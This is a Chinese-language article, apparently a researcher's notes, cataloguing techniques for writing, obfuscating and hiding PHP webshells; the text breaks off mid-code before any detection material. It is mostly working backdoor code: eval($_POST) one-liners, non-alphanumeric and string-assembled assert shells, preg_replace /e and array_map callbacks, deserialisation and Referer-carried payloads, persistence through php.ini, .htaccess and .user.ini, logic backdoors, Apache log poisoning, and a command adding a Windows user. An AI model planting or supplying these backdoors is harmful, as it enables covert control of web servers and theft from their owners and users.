Deformity PHP Webshell、Webshell Hidden Learning

目錄php

0. 引言
1. webshell原理介紹
2. webshell的常見類型以及變種方法
3. webshell的檢測原理以及檢測工具
4. webshell隱藏反檢測對抗手段

 

0. 引言css

本文旨在研究Webshell的各類猥瑣編寫方式以及webshell後門的生成、檢測技術,主要分享了一些webshell的編寫方法以及當前對webshell的識別、檢測技術的原理以及相應工具的使用,但願能給研究這一領域的朋友帶來一點點幫助,同時拋磚引玉,和你們共同討論更多的技術細節,共同窗習成長html

Relevant Link:java

http://www.sec-un.org/webshell-security-testing-1-based-traffic-detection.html
http://www.sec-un.org/webshell-security-testing-2-go-deep-inside-the-user.html
http://www.sec-un.org/webshell-security-detection-3-based-on-behavioral-analysis-to-discover-unknown-webshell.html
http://www.sec-un.org/webshell-security-testing-4-webshell-based-on-flow-analysis-sample.html
http://www.sec-un.org/webshell-5-webshell-see-capacity-analysis.html

 

1. 相關學習資料mysql

http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
http://drops.wooyun.org/tips/839
http://1.lanz.sinaapp.com/?p=3
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
http://www.freebuf.com/articles/web/11403.html
http://zone.wooyun.org/content/5429
https://www.virustotal.com/
http://www.8090sec.com/suixinbiji/111568.html
http://blog.d99net.net/article.asp?id=435
http://www.91ri.org/10146.html

 

1. webshell原理介紹c++

來自百度百科的定義:git

WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也能夠將其稱作爲一種網頁後門。黑客在入侵了一個網站後,一般會將這些asp或php後門文件與網站服務器
WEB目錄下正常的網頁文件混在一塊兒,而後就可使用瀏覽器來訪問這些asp或者php後門,獲得一個命令執行環境,以達到控制網站服務器的目的(能夠上傳下載文件,查看數據庫,執行任意程序
命令等)

也就是說,webshell也就是一些"正常"的腳本文件(這裏說它正常,是從文本的角度來講的),而webshell的惡意性則是表如今它的實現功能上的,也叫Back Door,是一段帶有惡意目的的正常腳本代碼(Mareware)github

在開始學習webshell的各類奇技淫巧以前,咱們要先了解一個基本概念,即webshell的組成,下面是引用Monyer的一篇文章:web

還有一張是來自drops的一篇paper:正則表達式

即無論webshell的外形怎麼改變,它的基本骨架都符合這個結構,即WebShell的實現須要兩步:

1. 數據的傳遞
2. 執行所傳遞的數據

根據這兩個基本點,webshell能夠衍生出不少種寫法

1. 數據的傳遞:
  1) $_GET、$_POST、$_COOKIES、$_FILE...(HTTP包中的任何位置均可以做爲payload的傳輸媒介)
  2) 從遠程遠程URL中獲取數據: file_get_contents、curl、svn_checkout...(將須要執行的指令數據放在遠程URL中,經過URL_INCLUDE來讀取)
  3) 從磁盤文件中獲取數據: file、file_get_contents...(將須要執行的指令數據放在磁盤文件中,利用IO函數來讀取)
  4) 從數據庫中讀取(將須要執行的指令放在數據庫中,利用數據庫函數來讀取)
  5) 從圖片頭部中獲取: exif_read_data...(將須要執行的指令數據放在圖片頭部中,利用圖片操做函數來讀取)

2. 代碼執行(將用戶傳輸的數據進行執行)
  1) eva、system...l執行(這是最普通、標準的代碼執行)
  2) LFI: include、require...(利用瀏覽器的僞協議將文件包含轉化爲代碼執行)
  3) 動態函數執行($()...PHP的動態函數特性)
  4) Curly Syntax(${${...}}...這種思路能夠把變量賦值的漏洞轉化爲代碼執行的機會)

關於webshell的防護,這裏個人理解應該作一下區分:

webshell有三大類的問題:
    1) 由一些CMS應用系統的漏洞致使的getshell,攻擊者在注入攻擊的那一瞬間進行getshell,這類webshell的防護主要是在對原有應用系統的代碼審查上,審覈原有的應用系統的代碼中
    是否存在可能致使getshell的"不安全代碼" 2) 對攻擊者寫入的webshell代碼自己的檢測,咱們須要瞭解黑客都會使用哪些種類的奇技淫巧的webshell編寫方式,並對這類文件的操做行爲進行監控並進行報告 3) 還有一種假設的前提是黑客已經得到了必定的對目標服務器的控制權限,黑客爲了後續的訪問,會留下邏輯後門。這種邏輯後門能夠很寬泛的理解一下: 3.1) 人工故意放置一個帶注入點的文件,並放上正常的文件內容,增長迷惑性,讓掃描工具工具和管理員看起來像正常文件 3.2) 修改服務器配置文件:
        1) .htaceess,修改某些擴展名的執行權(例如手工添加 .fackType PHP 這種映射關鍵的創建).
          SetHandler application/x-httpd-php: 添加jpg和PHP解析引擎的映射
        2) 創建一種邏輯後門。或在php.ini中設置auto_preload來預加載.php腳本,放置後門代碼
3.3) 修改CMS的配置,放行某些(.php、.asp)的上傳權限 3.4) 人工設置幾個包含容易致使漏洞的代碼的腳本文件(LFI、命令執行等)

 

2.  webshell的常見類型以及變種方法

0x1:  php.ini隱藏後門

這是php的核心配置文件

在php.ini 中添加:
; Automatically add files before PHP document. ; http:
//php.net/auto-prepend-file auto_prepend_file = choop.php ; (auto_prepend_file是在任意PHP腳本的頭部) ; (auto_append_file是在任意PHP腳本的尾部) ; (無論頭部仍是尾部,webshell都能被正常執行) ; LittleHann include_path = "E:\wamp\www\shell;." ;咱們所要include的文件目錄放在根目錄的前邊。否則的話apache會在根目錄下搜索咱們的後門(固然是沒有了從而致使服務器解析php文件失敗) 在"E:\wamp\www\shell"中建立 choop.php: <?php eval($_POST[1]); ?> 這樣能夠將webshell藏在磁盤上的任意位置,不必定是要web目錄,而後在整個服務器運行期間放置後門

對於這種利用php.ini的webshell部署攻擊方式,咱們在作攻防研究的時候必定要明白它的攻防場景,通常來講,只有黑客具備了遠程修改文件或者已經拿到了目標主機的權限,爲了以後的隱蔽訪問,而採起的在php.ini中部署一個"後門",也就是說這種webshell部署更傾向於後門的目的

0x2:  .htaccess文件構成的PHP後門

.htaccess是apache的分佈式配置文件,.htaccess文件(或者"分佈式配置文件")提供了針對不一樣WEB應用對應的子目錄改變配置的方法

.htaccess files (or "distributed configuration files") provide a way to make configuration changes on a per-directory basis. A file, containing one or more configuration directives, is placed in a particular document directory, and the directives apply to that directory, and all subdirectories thereof.

.htaccess文件能夠當作是apache核心配置文件的一個子集,按照"就近原則",.htaccess中的指令能夠對httpd.conf進行覆蓋,前提是httpd.conf中開啓了容許覆蓋的開關

AllowOverride All

.htaccess中有不少"指令",詳細的指令做用能夠參閱官方給出的doc,這裏咱們重點學習和部署後門WEBSHELL有關的如下幾條指令

1. AddHandler
http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler
    1) Description: Maps the filename extensions to the specified handler
    2) Syntax: AddHandler handler-name extension [extension] ...
    3) Context: server config, virtual host, directory, .htaccess
    4) Override: FileInfo
    5) Status: Base
    6) Module: mod_mime
example: AddHandler php5-script .logs
將對.logs的後綴文件解析映射到PHP腳本解析器上

2. AddType
http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler
    1) Description:    Maps the given filename extensions onto the specified content type
    2) Syntax: AddType MIME-type extension [extension] ...
    3) Context: server config, virtual host, directory, .htaccess
    4) Override: FileInfo
    5) Status: Base
    6) Module: mod_mime
example: AddType text/html .logs
指定了.logs的後綴的文件的文件擴展類型爲"text/html",這決定了PHP解析這個文件的方式

3. SetHandler
http://httpd.apache.org/docs/2.2/mod/core.html#sethandler
    1) Description:    Forces all matching files to be processed by a handler
    2) Syntax: SetHandler handler-name|None
    3) Context: server config, virtual host, directory, .htaccess
    4) Override: FileInfo
    5) Status: Core
    6) Module: core
    7) Compatibility: Moved into the core in Apache 2.0
example: SetHandler application/x-httpd-php
將全部腳本請求都強制指定爲使用"application/x-httpd-php"進行解析

基於對以上知識的瞭解,咱們來看幾種GETSHELL、部署、隱藏WEBSHELL的方式

1. SetHandler
可將php代碼存於非php後綴文件,例: x.jpg
將如下代碼寫入.htaccess中
SetHandler application/x-httpd-php
鏈接x.jpg便可啓動後門木馬
http://26836659.blogcn.com/articles/利用-htaccess文件來執行php腳本.html

2. AddHandler、AddType
可將php代碼存於非php後綴文件,例: x.logs
將如下代碼寫入.htaccess中
AddHandler php5-script .logs
AddType text/html .logs
鏈接x.logs,此時x.logs會被apache當成PHP腳本進行解析

3. php_value
將如下代碼寫入.htaccess中, 文件路徑必須是絕對路徑,訪問網站上任何php文件都會啓動該php後門木馬
php_value auto_append_file E:/wamp/www/choop.php

Relevant Link:

https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet
http://zone.wooyun.org/content/16114
http://httpd.apache.org/docs/2.2/howto/htaccess.html

0x3:  .user.ini文件構成的PHP後門

.user.ini是php應用的分佈式配置文件

.htaccess的利用思想是同樣的,.user.ini也利用分佈式的自定義配置文件、從而進行"配置覆蓋、劫持",從而bypass本來的防護邏輯的攻擊思想

1. 自PHP 5.3.0起,PHP支持基於每一個目錄的".htaccess風格""INI文件"。此類文件僅被CGI/FastCGI SAPI處理。此功能使得PECL的 htscanner擴展做廢。若是使用Apache,則用.htaccess 文件有一樣效果 

2. 除了主php.ini以外,PHP還會在每一個目錄下掃描INI文件,從被執行的PHP文件所在目錄開始一直上升到web根目錄($_SERVER['DOCUMENT_ROOT'] 所指定的)。若是被執行的PHP文件在web根目錄以外,則只掃描該目錄。

3. 在.user.ini風格的INI文件中只有具備
    1) PHP_INI_PERDIR
    2) PHP_INI_USER
模式的INI設置可被識別 

4. 兩個新的INI指令
    1) user_ini.filename
    2) user_ini.cache_ttl
控制着用戶INI文件的使用 

5. user_ini.filename設定了PHP會在每一個目錄下搜尋的文件名
    1) 若是設定爲空字符串則PHP不會搜尋
    2) 默認值是: .user.ini 

6. user_ini.cache_ttl控制着從新讀取用戶INI文件的間隔時間
    1) 默認是300秒

須要注意的是,對於.user.ini這種分佈式的配置文件來講,它可使用的指令集是有限制的

http://php.net/manual/zh/configuration.changes.modes.php

在.user.ini風格的INI文件中只有具備"PHP_INI_PERDIR"和"PHP_INI_USER"模式的INI設置可被識別,由此咱們能夠知道,".user.ini"實際上就是一個能夠由用戶「自定義」的php.ini,咱們可以自定義的設置是模式爲"PHP_INI_PERDIR、PHP_INI_USER"的設置

在咱們可以自定義的配置指令中,咱們能夠發現以下幾條指令能夠被用來進行webshell的部署

這和php.ini的利用思路是同樣

並且,和php.ini不一樣的是,.user.ini是一個能被動態加載的ini文件。也就是說我修改了.user.ini後,不須要重啓服務器中間件,只須要等待user_ini.cache_ttl所設置的時間(默認爲300秒),便可被從新加載

從這點來講,咱們會發現有不少web server具備相似的特性,例如tomcat對於j2ee應用的web.xml文件的變更就會進行自動reload,而不須要重啓tomcat server。這是服務器提供的一種特性,而從攻防的角度來看,咱們能夠有2種利用方式
1. webshell後門部署
2. 服務器配置相關漏洞修復
由於這種分佈式配置文件容許安全研究員對子應用而不是整個web server進行小範圍的配置修改,從而能夠進行配置加固,而且能夠得到即時生效的效果

Relevant Link:

http://php.net/manual/zh/configuration.file.per-user.php
http://php.net/manual/zh/ini.list.php
http://drops.wooyun.org/tips/3424

0x4:  利用PHP動態變量特性

<?php
    //@eval($_POST['op']);
    @eval(${"_P"."OST"}['op']);
?>

//使用註釋符來規避基於黑名單的正則
<?php
    //@eval($_POST['op']);
    @eval($/*aaa*/{"_P"."OST"}['op']);
?>

使用其餘數據獲取方式來獲取數據,譬如$_REQUEST、$GLOBALS["_POST"]、$_FILES等。
<?php
    @eval($_REQUEST['op']);
?>
$_REQUEST 中的變量經過 GET,POST 和 COOKIE 輸入機制傳遞給腳本文件。這個數組的項目及其順序依賴於 PHP 的variables_order 指令的配置。

<?php
    @eval($GLOBALS['_POST']['op']);
?>

<?php
    @eval($_FILES['name']);
?>
(而後把payload寫在文件名中)

0x5: tiny php shell

提是對方的服務器的php.ini開啓了
short_open_tag = On

<?=($_=@$_GET[2]).@$_($_GET[1])?>
http://localhost/shell/choop.php?2=system&1=dir 

0x6: Non alphanumeric webshell

<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));   
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
//ASSERT("eval($_POST[1])");
//key:=1
?>

0x7: 圖片木馬

choop.php:
<?php
    $wp__theme_icon=create_function('',file_get_contents('/hacker.gif'));
    $wp__theme_icon();
?>
hacker.gif:
phpinfo();
這是圖片木馬的利用方式的一種)
http://www.php.net/manual/zh/function.create-function.php
string create_function ( string $args , string $code )
可是這種方法的利用有一個問題,不能像include那樣有兼容性,include的狀況是容許include進來的語句有錯誤,PHP會忽略這些錯誤,而去執行include進來的有效PHP代碼

而create_function('',file_get_contents('/hacker.gif')); 這種方法不容許圖片中有非法數據(其實就是真實的圖片數據),不然就會出現解析錯誤,因此黑客只能把純的木馬腳本
保存成圖片格式而已,這樣就可能致使沒法繞過圖片上傳防護機制

對於圖片木馬須要明白的是

1. short_open_tag = On
因爲jpg、gif等格式的圖片中,出現<?這種字符的頻率很高,很容易形成PHP解析錯誤

2. short_open_tag = Off
這種狀況下,圖片WEBSHELL的運行較穩定,黑客插入的<?php ?>可以獲得穩定的執行

0x8: preg_replace的"/e"執行特性

<?php
    $subject='any_thing_you_can_write';
    $pattern="/^.*$/e";
    $payload='cGhwaW5mbygpOw==';
    //cGhwaW5mbygpOw==: "phpinfo();"
    $replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))";
    //406576616c286261736536345f6465636f646528: "eval(base64_decode(";
    preg_replace($pattern, $replacement , $subject);
?>
PHP pack() 函數,基本上和數據類型的轉換是一個類型的函數
http://www.w3school.com.cn/php/func_misc_pack.asp

preg_replace — 執行一個正則表達式的搜索和替換
http://cn2.php.net/manual/zh/function.preg-replace.php
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement進行替換。
當使用e修飾符時, 引擎會將"結果字符串"做爲php代碼使用eval方式進行評估並將返回值做爲最終參與替換的字符串。

這個webshell的利用方式的核心在於:
1. 這個PHP函數: preg_replace,它完成了eval的功能
2. 這個pack函數,它完成了eval(base64_decode(...和shellcode_payload的拼接

preg_replace還有另外一個變種,mb_ereg_replace

<?php
  mb_ereg_replace('.*', $_REQUEST['op'], '', 'e');
?>
http://php.net/manual/zh/function.mb-ereg-replace.php

PHP PCRE的模式pattern的分界符比較靈活,當使用 PCRE 函數的時候,模式須要由分隔符閉合包裹。分隔符可使任意非字母數字、非反斜線、非空白字符

1. 獲取preg_replace的參數1
2. 開始逐字符掃描,跳過空格,直到匹配到第一個非空格字符
3. 判斷當前字符是不是字母數字、反斜線,這些字符是非法的
4. 將第一個成功匹配的字符當成start_delimiter,繼續向後搜索,直到搜索到和start_delimiter對應的結束標記end_delimiter
5. 從end_delimiter位置開始,繼續向後搜索,忽略遇到的空格
6. 檢測是否出現e字符

對應PHP內核源代碼
/php-5.5.31/ext/pcre/php_pcre.c

PHPAPI pcre_cache_entry* pcre_get_compiled_regex_cache(char *regex, int regex_len TSRMLS_DC)
{
    ...
    //分隔符有多是有多是左右反向對稱的、或者左右相同對稱的
    start_delimiter = delimiter;
    if ((pp = strchr("([{< )]}> )]}>", delimiter)))
        delimiter = pp[5];
    end_delimiter = delimiter;
    ..

preg_replace的pattern參數能夠是數組,因此黑客能夠將\e放在數組元素中

Relevant Link:

http://php.net/manual/zh/regexp.reference.delimiters.php

0x9: 字符串拼接+PHP的動態函數執行

<?php
    $char_as='as';
    $char_e='e';
    $char_assert=$char_as.'s'.$char_e.'r'.'t';
    $char_base64_decode='b'.$char_as.$char_e.(64).'_'.'d'.$char_e.'c'.'o'.'d'.$char_e;
    @$char_assert(@$char_base64_decode('ZXZhbCgkX1BPU1RbMV0p'));
    //ZXZhbCgkX1BPU1RbMV0p: "eval($_POST[1])"
?>

要注意的是,用於動態執行的字符串必需要是"assert",不能是"eval",由於在PHP中,eval、die不是函數,而assert是函數

0x10: Curly Syntax

<?php 
    $k = "{${phpinfo()}}";
?>
<?php $xsser = $_GET["op"]; @eval("\$safedg = $xsser;") ?> http://localhost/shell/index.php?op=${${fputs(fopen("LittleHann.php", "w+"), "<?php eval(\$_POST[1]);?>LittleHann")}};
這個利用方式很巧妙,這種注入的利用場景是假如應用系統的輸入點存在注入點,而且這個輸入有機會到達代碼的某個變量賦值的代碼流位置,黑客能夠利用此次"變量賦值"進行一次"代碼執行"

須要特別注意的是,curl語法代碼執行是不能帶回顯的,即下面這種poc是沒法成立的

<?php 
   $xsser = $_GET["op"]; 
   @eval("\$safedg = $xsser;") 
?>
http://localhost/test/test.php?op=${${'eval($_GET[1])'}}&1=phpinfo();

因此curl並不能做爲一個webshell指令執行跳板來使用,而只能做爲"一次性代碼執行且不須要回顯"的場景,即向本地磁盤寫一個新的webshell文件

0x11: 邏輯後門

<?php
    foreach ($_GET as $key => $value)
    {
        //由攻擊者添加
        $$key = $value;
    }
    // ... some code
    if (logged_in() || $authenticated)
    {
        //原有邏輯
        // ... administration area
    }
?>

或者增長邏輯
if($user_level==ADMIN || $user_name==’monyer’)
{
    //admin area
}

或者增長配置
$allow_upload = array(
             ‘jpg’,’gif’,’png’,
             ‘php’,
        );
 
這和拿到CMS後臺,而後修改"可容許上傳文件類型",增長.php的作法相似,這是一種"後門思想"
這裏的狀況是黑客已經控制了服務器的必定控制權,在服務器上留後門,黑客能夠手動添加這段代碼,人工構造本地變量覆蓋漏洞,而後黑客在下次攻擊的時候就能夠進行變量注入,
進而控制原始的代碼流

在其餘的狀況下
在代碼中,經常在if()這樣的關鍵跳的位置根據變量進行代碼流向判斷,而若是應用系統存在任意變量覆蓋漏洞,就有可能致使系統本地本來的變量被覆蓋,進而致使代碼流被黑客控制

0x13: LFI致使的代碼執行

<?php
    $to_include = $_GET['file'];
    require_once($to_include);
?>

這種LFI可能致使黑客將文件包含漏洞升級爲代碼執行漏洞
http://localhost/shell/index.php?file=data:text/plain,<?php phpinfo();?>
http://tools.ietf.org/html/rfc2397
data:[<mediatype>][;base64],<data>

或者
eval(file_get_contents('php://input')); 

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3665062.html 

0x15: 動態函數執行

<?php
    $dyn_func = $_GET['dyn_func'];
    $argument = $_GET['argument'];
    $dyn_func($argument);
?>
http://localhost/shell/index.php?dyn_func=system&argument=dir

若是目標服務器開啓了: register_globals=on
則webshell還能夠這麼寫
<?php
    $dyn_func($argument);
?>
http://localhost/shell/index.php?dyn_func=system&argument=dir
可是register_globals這個選項在PHP5.0之後就取消了,即無論php.ini中寫On仍是Off都沒有任何意義

0x17: PHP動態建立匿名函數(Lamda表達式)

了動態變量直接動態執行函數,PHP還容許使用create_function動態的進行"匿名函數(Lamda)"的建立
http://cn2.php.net/manual/zh/function.create-function.php
string create_function ( string $args , string $code )
<?php
    $foobar = $_GET['foobar'];
    $dyn_func = create_function('$foobar', "echo $foobar;");
    $dyn_func('');
?>
http://localhost/shell/index.php?foobar=system('dir')
http://localhost/shell/index.php?foobar=eval('phpinfo();')
http://localhost/test/test.php?foobar=eval("$_POST[1]") 

動態函數的另外一種寫法:
<?php
    eval("function lambda_n() { echo system('dir'); }");
    lambda_n();
?>

<?php
    eval("function lambda_n() { eval($_GET[1]); }");
    lambda_n();
?>
http://localhost/shell/index.php?1=phpinfo()

<?php
    eval('function lambda_n() { eval($_POST[1]); }');
    lambda_n();
?>
菜刀可鏈接 這裏之因此可使用create_function是由於在PHP內部 create_function() 只是對 eval()的一層封裝,它最終仍是使用eval()進行代碼執行的

create_function另外一種形式

gif89a
<?php
    $_chr = chr(99).chr(104).chr(114); //chr  
    $_eval_post_1 = $_chr(101).$_chr(118).$_chr(97).$_chr(108).$_chr(40).$_chr(36).$_chr(95).$_chr(80).$_chr(79).$_chr(83).$_chr(84).$_chr(91).$_chr(49).$_chr(93).$_chr(41).$_chr(59); //eval($_POST[1]); 
    $_create_function = $_chr(99).$_chr(114).$_chr(101).$_chr(97).$_chr(116).$_chr(101).$_chr(95).$_chr(102).$_chr(117).$_chr(110).$_chr(99).$_chr(116).$_chr(105).$_chr(111).$_chr(110); //create_function 

    $_= $_create_function("",$_eval_post_1); //die(var_dump($_create_function ));
    @$_();
?>

0x19: 利用系統輸出緩存的方法

<?php
    $foobar = 'system';
    ob_start($foobar);
    echo "dir c:";
    ob_end_flush();
?>
http://cn2.php.net/manual/zh/function.ob-start.php
ob_start()會把本身接收到的字符串看成一個"回調函數callback_func",並將接下來的緩衝區輸入,看成這個"回調函數"的參數

還能夠重寫ob_start方法

<?php 
ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); 
echo $_REQUEST['pass']; 
ob_end_flush(); 
?>

0x20: 利用assert()斷言來進行代碼執行 

<?php
    $foobar = 'system("dir")';
    assert($foobar);
?>
http://cn2.php.net/manual/zh/function.assert.php
1. 斷言這個功能應該只被用來調試
2. 你應該用於完整性檢查時測試條件是否始終應該爲 TRUE
3. 來指示某些程序錯誤
4. 或者檢查具體功能的存在(相似擴展函數或特定的系統限制和功能)

0x21: 數組映射(xxx_map)類型函數的處理後回調機制致使的代碼執行

array_map — 將回調函數做用到給定數組的單元上

array_map()
usort(),                  uasort(),                uksort()
array_filter()
array_reduce()
array_diff_uassoc(),         array_diff_ukey()
array_udiff(),              array_udiff_assoc(),        array_udiff_uassoc()
array_intersect_assoc(),     array_intersect_uassoc()
array_uintersect(),         array_uintersect_assoc(),    array_uintersect_uassoc()
array_walk(),              array_walk_recursive()

<?php
    $evil_callback = $_GET['callback'];
    $some_array = array(0, 1, 2, 3);
    $new_array = array_map($evil_callback, $some_array);
?>
http://localhost/shell/index.php?callback=phpinfo

XML的解析也一樣存在這個的映射回調問題
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()


stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

咱們能夠利用array_map的這個特色,將第一個參數(回調函數)做爲命令執行管道,第二個參數(callback參數)做爲payload傳入,從而構將傳統的函數調用(payload)的模式轉換爲array_map(指令執行,payload),從而躲避WEBSHELL檢測機制

<?php 
    $new_array = array_map("ass\x65rt", (array)$_REQUEST['op']);
?>
//http://localhost/test/test.php?op=eval($_GET[1]): 菜刀密碼: 1

0x22: PHP的序列化、反序列化特性佈置後門 

<?php
    class Example
    {
       var $var = '';
       function __destruct()
       {
          eval($this->var);
       }
    }
    //$exp =  new Example();
    //$exp->var = "phpinfo();";
    //die(serialize($exp));
    unserialize($_GET['saved_code']);
?>
O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}  
http://localhost/shell/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}  

原理是: 被序列化的對象在反序列化的時候會自動調用它的析構函數

0x23: 使用HTTP頭部的其餘很是用字段進行指令的傳輸 

經過HTTP請求中的HTTP_REFERER來運行通過base64編碼的代碼,來達到後門的效果。

backdoor:
<?php
    header('Content-type:text/html;charset=utf-8');
    //將$_SERVER['HTTP_REFERER']中的參數解析到本地變量中,放到$a數組中
    parse_str($_SERVER['HTTP_REFERER'], $a);
    //判斷數組變量$a中的第一個元素是不是"10"、而且數組元素個數是不是9個
    if(reset($a) == '10' && count($a) == 9)
    {    
        //取出數組$a中索引6的元素,即咱們傳入的實際payload,並進行base64_decode解碼
        eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }
?>

利用方式:
<?php
    header('Content-type:text/html;charset=utf-8');
    //要執行的代碼
    $code = "phpinfo();";
    //進行base64編碼
    $code = base64_encode($code);
    //構造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
    //後門url
    $url = 'http://localhost/shell/index.php';
    $ch = curl_init();
    $options = array(
        CURLOPT_URL => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    );
    curl_setopt_array($ch, $options);
    echo curl_exec($ch);
?>

原理分析:
http://www.php.net/manual/zh/function.parse-str.php
和extract()做用相似,將外部傳入的參數註冊爲本地變量

http://www.w3school.com.cn/php/func_array_reset.asp
reset() 函數把數組的內部指針指向第一個元素,並返回這個元素的值

http://www.w3school.com.cn/php/func_array_slice.asp
array_slice(array,offset,length,preserve)
array_slice() 函數在數組中根據條件取出一段值,並返回。

http://www.w3school.com.cn/php/func_string_implode.asp
implode

這個webshell經過編碼的referer來傳遞攻擊載荷,HTTP通訊的頭部的任何字段、或者HTTP的數據部分的任何字段均可以看成webshell的payload來傳遞數據的。

0x24: 亂序拼接法 

<?php  
    @$_="s"."s"."e"."r";  
    @$_="a".$_."t";  
    @$_(${"_P"."OS"."T"}[1-2-5]);
?>  
注意這裏雙層${}的做用,裏面那個${}是爲了讓_POST[-6]被解析出來的,若是不用這個花括號,則這個"_POST[]"就變成一個純文本了,加上這個${}以後,變量本來的變量特性就表現出來了,
也就能正確傳參了
<?php $aaaaa="sewtemznypianol"; $char_system=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5}; //die($char_system); $aaaaaa="edoced46esab_n"; $char_base64_decode=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.
   $aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0}; die($char_base64_decode); echo $char_system($char_base64_decode("aXBjb25maWc=")); ?> 這種webshell的編寫思路很巧妙,和"亂序插入"還不是一個作法 1) "亂序插入"是在一段正常的webshell代碼中隨機插入一些雜亂的無心義的字母,而後再在下面使用preg_replace之類的正則替換來去除掉這些"混淆鹽字母",以還原出原有的正常的
  webshell代碼
2) 這種作法是先定義一個"字母池",這個"字母池"包含有咱們須要構造的關鍵函數的字符。咱們經過從這個字母池中選取特定的索引下的字母,以此來構造出咱們想要
  的"動態函數"(system、base64_decode)

0x25: 利用apache的錯誤日誌進行webshell的注入 

用了apche服務器的錯誤日誌文件,當訪問一個不存在的鏈接時,日誌中會記錄下這樣的一句話
[Tue Jan 14 09:48:01.664731 2014] [core:error] [pid 9412:tid 1876] (20024)The given path is misformatted or contained invalid characters: 
[client ::1:10248] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/1.1 to file 這個和不少CMS中的功能很相似,會記錄一些運行信息 1) 出錯信息,包含致使出錯的原始語句,問題也就發生在這裏,即用戶可能有機會控制這個日誌文件的內容 2) 訪問記錄(例如: 請求URL),和(1)一樣的道理,這屬於用戶可控的信息 3) 其餘的HTTP相關信息 後門back door: 這是留待之後用來引入帶後門的日誌文件使用的 <?php include($_GET['f']); ?> 攻擊觸發腳本,向日志文件中打入payload http://localhost/shell/attack.php <?php // 1. 初始化 $ch = curl_init(); // 2. 設置選項,包括URL curl_setopt($ch, CURLOPT_URL, "http://localhost/shell/<?php eval(\$_POST[sb])?>"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true); // 3. 執行並獲取HTML文檔內容 $output = curl_exec($ch); // 4. 釋放curl句柄 curl_close($ch); ?> 執行這個腳本後,會在apache的錯誤日誌中留下原始的訪問記錄 [Tue Jan 14 09:48:01.664731 2014] [core:error] [pid 9412:tid 1876] (20024)The given path is misformatted or contained invalid characters:
[client ::1:10248] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/1.1 to file 以後吧log的地址當作參數傳入便可,這裏log位置須自行查找 http://localhost/shell/index.php?f=E:\wamp\logs\apache_error.log

0x26: 利用字符的運算符來進行webshell的構造 

<?php
    echo 'a'|'d';//e!  
?>

字符串和數字的強轉:
<?php  
    $_="abc";
    echo $_+1;  //1
?>
<?php  
    $_="1abc";
    echo $_+1;  //2
?>
字符串會被強制轉換成數字,若是不能轉,就返回0
http://www.blogjava.net/zuofei-bie/archive/2010/03/31/317092.html
<?php  
    $_="abc";  
    echo ++$_;  //abd  
?>
這種"++""+"的表現形式還不太同樣,"++"是把字符串最後一個字母進行"+1"

0x27: 使用PHP的管道技術執行系統命令後門 

open()
http://www.w3school.com.cn/php/func_filesystem_popen.asp
 
<?php
    /*
        PHP中如何增長一個系統用戶
        下面是一段例程,
        用戶名: test
        密碼是: 111
    */
    $command = "net user";
    $useradd = "add ";
    $pwd = "111";
    $user = "test";  
    $user_add = sprintf("%s "%s %s"", $command, $useradd, $user, $pwd);
    $fp = @popen($user_add,"w");  
    @pclose($fp);
?>

命令執行成功,添加帳戶成功。PHP執行命令有不少方法,eval、passthru、system、assert、popen、exec、shell_exec

0x28: 利用PHP的指令替換編寫webshell 

<?php   
    $cmd = `dir`;  
    echo $cmd;   
?>  
波浪線下面那個鍵括起來的字符串能夠當命令執行。

0x29: 利用一些CMS等開源框架進行本地變量覆蓋 

<?php
    foreach ($_GET as $key => $value)
    {
        $result .= "$key=$value&";
    }
    /*
